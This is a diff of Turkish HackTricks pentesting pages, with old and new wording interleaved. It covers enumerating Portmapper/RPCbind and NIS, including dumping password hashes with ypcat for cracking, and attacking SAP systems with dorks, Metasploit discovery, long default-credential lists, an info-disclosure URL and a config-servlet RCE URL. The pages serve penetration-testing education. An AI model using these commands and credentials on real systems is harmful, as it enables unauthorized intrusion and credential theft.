<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -8,20 +8,20 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Temel Bilgiler
**Portmapper**, ağ hizmeti bağlantı noktalarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşlemede kullanılan bir hizmettir. Bu, **Unix tabanlı sistemlerde** bilgi alışverişini kolaylaştıran kritik bir bileşen olarak işlev görür. **Portmapper** ile ilişkilendirilen **port**, değerli bilgileri ortaya çıkarabileceği için sık sık saldırganlar tarafından taranır. Bu bilgiler, çalışmakta olan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında detayları içerir. Ayrıca, **Portmapper** genellikle **NFS (Ağ Dosya Sistemi)**, **NIS (Ağ Bilgi Servisi)** ve diğer **RPC tabanlı hizmetler** ile birlikte kullanılarak ağ hizmetlerini etkili bir şekilde yönetmek için kullanılır.
**Portmapper**, ağ hizmeti portlarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşleştirmek için kullanılan bir servistir. Bu, **Unix tabanlı sistemlerde** bilgi alışverişini kolaylaştıran kritik bir bileşen olarak görev yapar. **Portmapper** ile ilişkilendirilen **port**, değerli bilgileri ortaya çıkarabileceği için sık sık saldırganlar tarafından taranır. Bu bilgiler, çalışmakta olan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında detayları içerir. Ayrıca, **Portmapper** genellikle **NFS (Network File System)**, **NIS (Network Information Service)** ve diğer **RPC tabanlı hizmetler** ile birlikte kullanılarak ağ hizmetlerini etkili bir şekilde yönetmek için kullanılır.
**Varsayılan port:** 111/TCP/UDP, Oracle Solaris'te 32771
```
@ -33,23 +33,27 @@ PORT STATE SERVICE
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
### RPCBind + NFS
### Shodan
Eğer NFS servisini bulursanız, muhtemelen dosyaları listeleme ve indirme (ve belki yükleme) yeteneğine sahip olacaksınız:
* `port:111 portmap`
## RPCBind + NFS
Eğer NFS servisini bulursanız, muhtemelen dosyaları listelemek ve indirmek (ve belki yüklemek) mümkün olacaktır:
![](<../.gitbook/assets/image (869).png>)
[NFS servisini pentest etme](nfs-service-pentesting.md) hakkında daha fazla bilgi edinmek için okuyun.
Daha fazla bilgi edinmek için [2049 - NFS servisinin Pentest Edilmesi](nfs-service-pentesting.md) sayfasını okuyun.
## NIS
**NIS** zafiyetlerini keşfetmek, `ypbind` servisinin tanımlanmasıyla başlayan iki adımlı bir süreci içerir. Bu keşif sürecinin temel noktası, **NIS alan adının** ortaya çıkarılmasıdır; aksi takdirde ilerleme durur.
**NIS** zafiyetlerini keşfetmek iki adımlı bir süreci içerir, öncelikle `ypbind` servisinin tespiti ile başlar. Bu keşif sürecinin temel noktası, **NIS alan adının** ortaya çıkarılmasıdır; aksi takdirde ilerleme durur.
![](<../.gitbook/assets/image (856).png>)
Keşif yolculuğu, gerekli paketlerin kurulumuyla başlar (`apt-get install nis`). Ardışık adım, güvenlik için bu unsurların anonimleştirilmesiyle NIS sunucusunun varlığını doğrulamak için alan adı ve sunucu IP'sini kullanarak ona ping atarak `ypwhich` kullanmaktır.
Keşif yolculuğu, gerekli paketlerin kurulumuyla başlar (`apt-get install nis`). Sonraki adım, güvenlik için bu unsurların anonimleştirilerek, alan adı ve sunucu IP'si ile NIS sunucusunun varlığını doğrulamak için `ypwhich` kullanılmasını gerektirir.
Son ve kritik adım, hassas verileri çıkarmak için `ypcat` komutunu kullanmaktır, özellikle şifrelenmiş kullanıcı parolaları. Bu hash'ler, **John the Ripper** gibi araçlar kullanılarak kırıldığında, sistem erişimi ve ayrıcalıkları hakkında içgörüler sunar.
Son ve kritik adım, hassas verilerin çıkarılması için `ypcat` komutunu içerir, özellikle şifrelenmiş kullanıcı parolalarını. Bu hash'ler, **John the Ripper** gibi araçlar kullanılarak kırıldığında, sistem erişimi ve ayrıcalıkları hakkında bilgiler sunar.
```bash
# Install NIS tools
apt-get install nis
@ -62,10 +66,10 @@ ypcat d <domain-name> h <server-ip> passwd.byname
| **Ana dosya** | **Harita(lar)** | **Notlar** |
| ---------------- | --------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Host adlarını ve IP ayrıntılarını içerir |
| /etc/hosts | hosts.byname, hosts.byaddr | Host adlarını ve IP detaylarını içerir |
| /etc/passwd | passwd.byname, passwd.byuid | NIS kullanıcı şifre dosyası |
| /etc/group | group.byname, group.bygid | NIS grup dosyası |
| /usr/lib/aliases | mail.aliases | Posta takma adları ayrıntıları |
| /usr/lib/aliases | mail.aliases | Posta takma adları detayları |
## RPC Kullanıcıları
@ -73,11 +77,11 @@ Eğer **rusersd** servisini şu şekilde listelenmiş bulursanız:
![](<../.gitbook/assets/image (1038).png>)
Kutunun kullanıcılarını numaralandırabilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Rsusersd Pentesting](1026-pentesting-rusersd.md) makalesine bakın.
Kutunun kullanıcılarını numaralandırabilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Rsusersd Pentesting](1026-pentesting-rusersd.md) makalesine bakabilirsiniz.
## Filtrelenmiş Portmapper portunu atlatma
Bir **nmap taraması** yaparken ve port 111'in filtreli olduğunu keşfettiğinizde, bu portların doğrudan istismarı mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, standart araçlar kullanarak istismar mümkün hale gelir. Bu teknik, port 111'in filtreli durumunu atlamayı sağlar, böylece NFS hizmetlerine erişim sağlanabilir. Bu yöntem hakkında detaylı rehberlik için [bu bağlantıdaki](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) makaleye başvurun.
Bir **nmap taraması** yaparken ve port 111'in filtreli olduğunu keşfettiğinizde, bu portların doğrudan istismar edilmesi mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, standart araçlar kullanarak istismar mümkün hale gelir. Bu teknik, port 111'in filtrelenmiş durumunu atlamayı sağlar, böylece NFS hizmetlerine erişim sağlar. Bu yöntem hakkında detaylı rehber için [bu bağlantıdaki](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) makaleye başvurun.
## Shodan
@ -87,7 +91,7 @@ Bir **nmap taraması** yaparken ve port 111'in filtreli olduğunu keşfettiğini
* Bu teknikleri [**Irked HTB makinesinde**](https://app.hackthebox.com/machines/Irked) uygulayın.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -117,14 +121,14 @@ Command: nmap -sSUC -p 111 {IP}
```
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live) **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>

View file

@ -1,32 +1,32 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# SAP Hakkında Giriş
SAP, Veri İşleme Sistem Uygulamaları ve Ürünleri anlamına gelir. SAP, tanım gereği ERP \(Kurumsal Kaynak Planlama\) yazılımının adı olduğu gibi şirketin adıdır.
SAP, Veri İşleme Sistem Uygulamaları ve Ürünleri anlamına gelir. SAP, tanım gereği, ERP \(Kurumsal Kaynak Planlama\) yazılımının adı olduğu gibi şirketin adıdır.
SAP sistemi, neredeyse işletme yönetiminin her yönünü kapsayan bir dizi tam entegre modülden oluşur.
Her SAP örneği \(veya SID\), üç katmandan oluşur: veritabanı, uygulama ve sunum\), her peyzaj genellikle dört örneği içerir: geliştirme, test, QA ve üretim.
Her katmanın bazı ölçüde sömürülebileceği bir SAP örneği vardır, ancak en etkili sonuç **veritabanına saldırarak** elde edilebilir.
Her SAP örneği \(veya SID\), üç katmandan oluşur: veritabanı, uygulama ve sunum\), her bir peyzaj genellikle dört örneği içerir: geliştirme, test, QA ve üretim.
Her katmanın belirli bir ölçüde istismar edilebilir, ancak en etkili sonuç **veritabanına saldırarak** elde edilebilir.
Her SAP örneği, müşterilere bölünmüştür. Her biri, uygulamanın "root" eşdeğeri olan bir kullanıcı SAP\* 'ye sahiptir.
İlk oluşturulduğunda, bu kullanıcı SAP\* varsayılan bir şifre alır: "060719992" \(daha fazla varsayılan şifre aşağıda\).
Her SAP örneği, müşterilere bölünmüştür. Her biri, uygulamanın "root" karşılığı olan SAP\* kullanıcısına sahiptir.
İlk oluşturulduğunda, bu SAP\* kullanıcısına varsayılan bir şifre verilir: "060719992" \(daha fazla varsayılan şifre aşağıda\).
Şaşırırsınız eğer bu **şifrelerin test veya geliştirme ortamlarında sık sık değiştirilmediğini** bilseydiniz!
Herhangi bir sunucunun kabuğuna &lt;SID&gt;adm kullanıcı adını kullanarak erişmeye çalışın.
@ -34,10 +34,10 @@ Bruteforcing yardımcı olabilir, ancak Hesap Kilit Mekanizması olabilir.
# Keşif
> Sonraki bölüm çoğunlukla [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) kullanıcısı shipcod3'ten!
> Sonraki bölüm çoğunlukla [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) kullanıcısı shipcod3'ten alınmıştır!
* Test için Uygulama Kapsamını veya Program Kısa Tanımını kontrol edin. SAP GUI'ye bağlanmak için host adlarını veya sistem örneklerini not alın.
* Uygulama İnternet üzerinden erişilebilir veya genel ise dosyaları, alt alanları ve lezzetli bilgileri kontrol etmek için OSINT \(açık kaynak istihbaratı\), Shodan ve Google Dorks'u kullanın:
* Uygulama İnternet üzerindeyse veya genel erişime açıksa dosyaları, alt alanları ve değerli bilgileri kontrol etmek için OSINT \(açık kaynak istihbaratı\), Shodan ve Google Dorks'u kullanın:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -52,14 +52,14 @@ https://www.shodan.io/search?query=SAP+J2EE+Engine
![SAP Giriş ekranı](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Açık portları ve bilinen servisleri kontrol etmek için nmap kullanın \(sap yönlendiricileri, webdynpro, web servisleri, web sunucuları, vb.\)
* Bir web sunucusu çalışıyorsa URL'leri tara.
* Belirli bağlantı noktalarında web sunucuları varsa dizinleri fuzzlayın \(Burp Intruder'ı kullanabilirsiniz\). İşte varsayılan SAP ICM Yollarını bulmak ve diğer ilginç dizinleri veya dosyaları bulmak için SecLists Projesi tarafından sağlanan bazı iyi kelime listeleri:
* Eğer bir web sunucusu çalışıyorsa URL'leri tara.
* Belirli portlarda web sunucuları varsa dizinleri fuzzlayın \(Burp Intruder kullanabilirsiniz\). İşte varsayılan SAP ICM Yollarını bulmak ve diğer ilginç dizinleri veya dosyaları bulmak için SecLists Projesi tarafından sağlanan bazı iyi wordlist'ler:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAP örnekleri/servisleri/bileşenleri sıralamak için SAP SERVİS KEŞFİ yardımcı Metasploit modülünü kullanın:
* SAP örneklerini/hizmetlerini/bileşenlerini sıralamak için SAP SERVİS KEŞFİ yardımcı Metasploit modülünü kullanın:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -78,10 +78,10 @@ msf auxiliary(sap_service_discovery) > run
```
## Kalın İstemci / SAP GUI'nin Test Edilmesi
İşte SAP GUI'ye bağlanmak için kullanılan komut
İşte SAP GUI'ye bağlanmak için komut
`sapgui <sap sunucusu ana bilgisayarı> <sistem numarası>`
* Varsayılan kimlik bilgileri kontrol edin \(Bugcrowd'un Zayıflık Derecelendirme Taksonomisine göre, bu P1 olarak kabul edilir -&gt; Sunucu Güvenlik Yanlı Yapılandırması \| Varsayılan Kimlik Bilgilerinin Kullanımı \| Üretim Sunucusu\):
* Varsayılan kimlik bilgilerini kontrol edin \(Bugcrowd'un Zayıflık Derecelendirme Taksonomisine göre, bu P1 olarak kabul edilir -&gt; Sunucu Güvenlik Yanlı Yapılandırması \| Varsayılan Kimlik Bilgilerinin Kullanımı \| Üretim Sunucusu\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -132,34 +132,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Wireshark'ı çalıştırın ve bazı istemci (SAP GUI) kimlik bilgilerini SSL olmadan ilettiği için aldığınız kimlik bilgileriyle kimlik doğrulaması yapın. SAP DIAG protokolü tarafından kullanılan ana başlıkları ayırabilen iki bilinen Wireshark eklentisi vardır: SecureAuth Labs SAP ayrıştırma eklentisi ve Positive Research Center tarafından geliştirilen SAP DIAG eklentisi.
* Düşük ayrıcalıklı kullanıcılar için bazı SAP İşlem Kodları (tcodes) kullanarak ayrıcalık yükseltmelerini kontrol edin:
* Wireshark'ı çalıştırın ve bazı istemci \(SAP GUI\) kimlik bilgilerini SSL olmadan ilettiği için aldığınız kimlik bilgileriyle kimlik doğrulaması yapın. SAP DIAG protokolü tarafından kullanılan ana başlıkları ayırabilen iki bilinen Wireshark eklentisi vardır: SecureAuth Labs SAP ayrıştırma eklentisi ve Positive Research Center tarafından geliştirilen SAP DIAG eklentisi.
* Düşük ayrıcalıklı kullanıcılar için bazı SAP İşlem Kodları \(tcodes\) kullanarak ayrıcalık yükseltmelerini kontrol edin:
* SU01 - Kullanıcıları oluşturmak ve bakımını yapmak için
* SU01D - Kullanıcıları Görüntülemek için
* SU10 - Toplu bakım için
* SU02 - Profil oluşturmak için manuel olarak
* SM19 - Güvenlik denetimi - yapılandırma
* SE84 - SAP R/3 Yetkilendirmeleri için Bilgi Sistemi
* İstemcide sistem komutlarını yürütebilir / betik çalıştırabilir mi kontrol edin.
* İstemcide sistem komutları çalıştırabilir mi / betik çalıştırabilir mi kontrol edin.
* BAPI Explorer üzerinde XSS yapabilir misiniz kontrol edin.
# Web arayüzünü test etme
* URL'leri tarama (keşif aşamasına bakın).
* URL'leri tarama \(keşif aşamasına bakın\).
* Keşif aşamasındaki gibi URL'leri fuzzlayın. İşte [http://SAP:50000/index.html](http://sap:50000/index.html) adresinin görünümü:
![SAP Index Sayfası](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* Bazı yerlerde XSS, RCE, XXE vb. zafiyetler olduğundan OWASP Top 10'a başvurarak yaygın web zafiyetlerini kontrol edin.
* XSS, RCE, XXE vb. zafiyetlerin bazı yerlerinde bulunduğu için yaygın web zafiyetlerini arayın \(OWASP Top 10'a bakın\).
* Web zafiyetlerini test etmek için Jason Haddixin [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) adlı çalışmasına göz atın.
* Fiil Manipülasyonu aracılığıyla Kimlik Doğrulaması Atlatma? Belki de :)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` adresini açın, "Seç" düğmesine tıklayın ve ardından açılan pencerede "Ara" düğmesine basın. SAP kullanıcılarının bir listesini görebilmelisiniz (Zafiyet Referansı: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* Kimlik bilgileri HTTP üzerinden mi gönderiliyor? Eğer öyleyse, Bugcrowd'un [Zafiyet Derecelendirme Taksonomisi](https://bugcrowd.com/vulnerability-rating-taxonomy): Kırık Kimlik Doğrulama ve Oturum Yönetimi \| HTTP Üzerinden Zayıf Giriş İşlevi olarak kabul edilir. İpucu: [http://SAP:50000/startPage](http://sap:50000/startPage) veya giriş portallarına da göz atın :)
* Fiil Manipülasyonu aracılığıyla Kimlik Doğrulaması Atlatma? Belki :\)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` adresini açın, ardından "Seç" düğmesine tıklayın ve açılan pencerede "Ara" düğmesine basın. SAP kullanıcılarının bir listesini görebilmelisiniz \(Zafiyet Referansı: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
* Kimlik bilgileri HTTP üzerinden mi gönderiliyor? Eğer öyleyse, bu Bugcrowd'un [Zafiyet Derecelendirme Taksonomisi](https://bugcrowd.com/vulnerability-rating-taxonomy)ne göre P3 olarak kabul edilir: Kırık Kimlik Doğrulama ve Oturum Yönetimi \| HTTP Üzerinden Zayıf Giriş İşlevi. İpucu: [http://SAP:50000/startPage](http://sap:50000/startPage) veya giriş portallarına da bakın :\)
![SAP Başlangıç Sayfası](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* Olası dizin listeleme veya kimlik doğrulama atlatma için `/irj/go/km/navigation/` adresini deneyin
* [http://SAP/sap/public/info](http://sap/sap/public/info) bazı değerli bilgiler içerir:
* [http://SAP/sap/public/info](http://sap/sap/public/info) bazı değerli bilgiler içeriyor:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -264,7 +264,7 @@ http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sa
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* Keşif aşamasında `start` komutunu çalıştırmadan önce, zafiyet değerlendirmesi yapmak için aşağıdakileri de ekleyebilirsiniz:
* Keşif aşamasında `start` komutunu çalıştırmadan önce, zayıflık değerlendirmesi yapmak için aşağıdakileri de ekleyebilirsiniz:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -286,27 +286,27 @@ bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
# Test Etme İçin Diğer Kullanışlı Araçlar
# Test etmek için Diğer Kullanışlı Araçlar
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Sap güvenliğini değerlendirmek için Powershell aracı
* [Burp Suite](https://portswigger.net/burp) - dizin fuzzing ve web güvenliği değerlendirmeleri için olmazsa olmaz bir araç
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP ağ protokol paketleri oluşturmak için Python kütüphanesi
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Nmap'in SAP/ERP tespitine yardımcı olur
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP ağ protokol paketlerini oluşturmak için Python kütüphanesi
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Nmap'in SAP/ERP'yi tespit etmesine yardımcı olur
## Referanslar
* [Metasploit Kullanarak SAP Penetrasyon Testi](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - Bizploit'i yarı otomatik hale getiren bir betik
* [SAP NetWeaver ABAP güvenlik yapılandırması bölüm 3: Uygulamaya erişim için varsayılan şifreler](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP güvenliği ile ilgili ABAP işlem kodu listesi](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP Portalı Kırma](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [En ilginç SAP zayıflıkları ve saldırılarının ilk 10'u](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [Bizploit ile SAP ekosistemlerinin güvenliğini değerlendirme: Keşif](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [SAP güvenliği ile ilgili ABAP işlem kodları listesi](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP Portal'ı Kırmak](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [En ilginç SAP zayıflıkları ve saldırıları ilk 10'u](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [bizploit ile SAP ekosistemlerinin güvenliğini değerlendirme: Keşif](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -315,12 +315,12 @@ bizploit> start
<summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
